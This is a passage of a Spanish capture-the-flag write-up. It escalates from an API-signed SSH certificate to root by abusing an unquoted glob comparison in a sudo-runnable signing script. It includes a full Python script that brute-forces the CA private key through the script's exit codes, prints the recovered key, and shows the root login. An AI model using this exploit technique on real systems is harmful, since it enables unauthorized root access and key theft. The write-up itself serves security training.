ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgRteQFNaHuwyFZf33CdsOPun86XIsrWsfvanZQopESggAAAADAQABAAABAQDqHzS0A+IyAeoRcZLmuYjLkMzQ+ssOXlx4UDqZQvmCjk+IKw8Uy72hm8yheyjybwrg+fu8UD6ITh/H/MfU9dPnhmXwcl2rGcnx9Ul33QhDoS5ft3mzimutiMMyrxN+UrXl404cTS6rRHx86ttfLGnHQfMoLRwoAFjSxRxV1VpMXoxb3BzxPt8EpwydnyxKF2XkP8kqILI2xu8/GJ4zKZ86aOIc7BoecnxOLVTfoDHn8XT1+VSsg0aObSl5tGDRBEO2zCOGXy5j45Bac+QBINbxLeiknelMuixpa85MvticksW29bqRNIFPoUaSxPTNUFi5nHsKjX6REjEYm/hUasqFAAAAAAAAADAAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABm7N2o//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABA+zLmTbZFF3+EnMvo+g+NtfbGIa8sHHMpTsyONGex31o+rb02Ly5YlOuefj8Kbo+8vRTo9DljG5oSwjtcjTh/DA== msainristil@itrc
❯ ./sign_key_api_modified.sh keypair.pub zzinter zzinter_temp > zzinter_cert.cert
Pero si intentamos crear un certificado para el usuario root
, falla:
❯ ./sign_key_api_modified.sh keypair.pub root root_user
{"detail":"Root access must be granted manually. See the IT admin staff."}
El usuario zzinter
existe en la máquina víctima (además del container):
support@ssg:/etc/ssh/auth_principals$ ls /home
support zzinter
Así, podemos tratar de loguearnos como el usuario zzinter
con el certificado correspondiente al puerto 2222
(que es el puerto corriendo SSH
de la máquina víctima real, no el container):
❯ ssh -o CertificateFile=zzinter_cert.cert -i keypair zzinter@10.10.11.27 -p 2222
<SNIP>
zzinter@ssg:~$ whoami
zzinter
Este usuario, dentro de la máquina víctima original, es capaz de correr un script de Bash
con sudo
como root
sin necesidad de proveer contraseña:
zzinter@ssg:~$ sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh
Leyendo el script que podemos ejecutar con sudo
, tenemos:
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if ` $itca == $ca `; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! ` $serial =~ ^[0-9]+$ `; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"
Este script, de manera similar al script anterior, revisa que los inputs sean válidos. Revisa si el contenido del certificado que se pasa al script es igual al contenido de /etc/ssh/ca-it
. Si el contenido es igual, el script sale con código de estado de error junto con un mensaje. Ahora bien, la parte con trampa es:
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if ` $itca == $ca `; then
echo "Error: Use API for signing with this CA."
usage
fi
Para explicar esto de mejor manera, el siguiente script en Bash
nos puede hacer ver de mejor manera dónde está el truco:
#!/bin/bash
var1="ThisIsAnExample"
var2="This*"
if ` $var1 == $var2 `; then
echo 'var1 is equal to var2'
fi
if ` $var2 == $var1 `; then
echo 'var2 is equal to var1'
fi
y si lo ejecutamos, tendremos:
❯ ./test.sh
var1 is equal to var2
Sólo la primera condición es válida. Esto es gracias al caracter “wildcard” (*
). Básicamente, en la primera condición, estamos diciendo “var1
, que se define como ThisIsAnExample
, es igual a This
más cualquier texto; pero var2
, que se define como This
más cualquiera cosa, no es igual a ThisIsAnExample
”. Dado que este script lo podemos ejecutar como root
, éste tirará un error si ambos certificados son iguales, e imprimirá el mensaje de error Error: Use API for signing with this CA.
. Podemos usar esta condición que compara las llaves para construir lentamente la llave necesaria a través de fuerza bruta; queremos esta llave para poder generar un certificado válido que nos permita loguearnos con el rol root_user
. Adicionalmente, el script no considera el principal/rol root_user
como válido, pero dado que (afortunadamente) la verificación se encuentra luego del condicional que vamos a abusar, esto no debería de ser un problema.
Primero, necesitamos generar de nuevo un archivo keypar.pub
en nuestro directorio actual de la máquina víctima:
zzinter@ssg:~$ ssh-keygen -t rsa -b 2048 -f keypair
Podemos entonces crear un script en Python
el cual juega con el código de estado de sudo /opt/sign_key.sh
y la comparación usando wildcards (*
) para obtener el certificado SSH
. Dado que este script lo ejecutaremos en la máquina víctima, sólo podemos usar funciones y librerías “built-in” (ya incluidas) de Python
:
import string
import subprocess
from sys import exit as sys_exit
from os import system as os_system
SSH_key_header: str = "-----BEGIN OPENSSH PRIVATE KEY-----"
SSH_key_footer: str = "-----END OPENSSH PRIVATE KEY-----"
charmap: list[str] = list('-' + string.ascii_letters + string.digits + '+/=')
name_fake_key: str = 'generated_key.key'
current_key: str = ''
n_lines: int = 0
while True:
for char in charmap:
content_key = f"{SSH_key_header}\n{current_key}{char}*"
with open(name_fake_key, 'w') as f:
f.write(content_key)
os_system('clear')
print(content_key)
execute_command = subprocess.run(f"sudo /opt/sign_key.sh {name_fake_key} keypair.pub root root_user 1", shell=True, stdout=subprocess.PIPE, text=True)
if (execute_command.returncode == 1) and ('API' in execute_command.stdout):
current_key += char
if (len(current_key) > 1) and ((len(current_key) - n_lines)%70 == 0):
current_key += "\n"
n_lines += 1
break
else:
break
final_key = f"{SSH_key_header}\n{current_key}\n{SSH_key_footer}"
with open('obtained_key.key', 'w') as f:
f.write(final_key)
print(f"[+] Key extracted:\n{final_key}")
Pasamos este script a la máquina víctima (la original, no el container) y lo ejecutamos:
zzinter@ssg:~$ python3 build_key.py
Podemos ver cómo la key es, poco a poco, “construida”. Guardamos el certificado generado en un archivo llamado obtained_certificate.cert
; el cual al ya correr el script y esperar a que éste se ejecute completamente, es:
zzinter@ssg:~$ cat obtained_key.key ; echo
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----
Pasamos este certificado/key a nuestra máquina de atacante, lo guardamos como root_certificate.cert
, y lo usamos para firmar el archivo keypair.pub
:
❯ ssh-keygen -s root_certificate.cert -z 1 -I root -V -1w:forever -n root_user keypair.pub
Signed user key keypair-cert.pub: id "root" serial 1 for root_user valid after 2024-09-20T01:52:49
Esto crea un archivo keypair-cert.pub
.
Ahora que nuesta key keypair-cert.pub
se encuentra firmada y creada, podemos finalmente usar esta key certificada para loguearnos en la máquina víctima como el usuario root
en la máquina objetivo:
❯ ssh -o CertificateFile=keypair-cert.pub -i keypair root@10.10.11.27 -p 2222
<SNIP>
root@ssg:~# whoami
root
GG. Somos root
. Podemos leer la flag de root
en el directorio /root
.
~Happy Hacking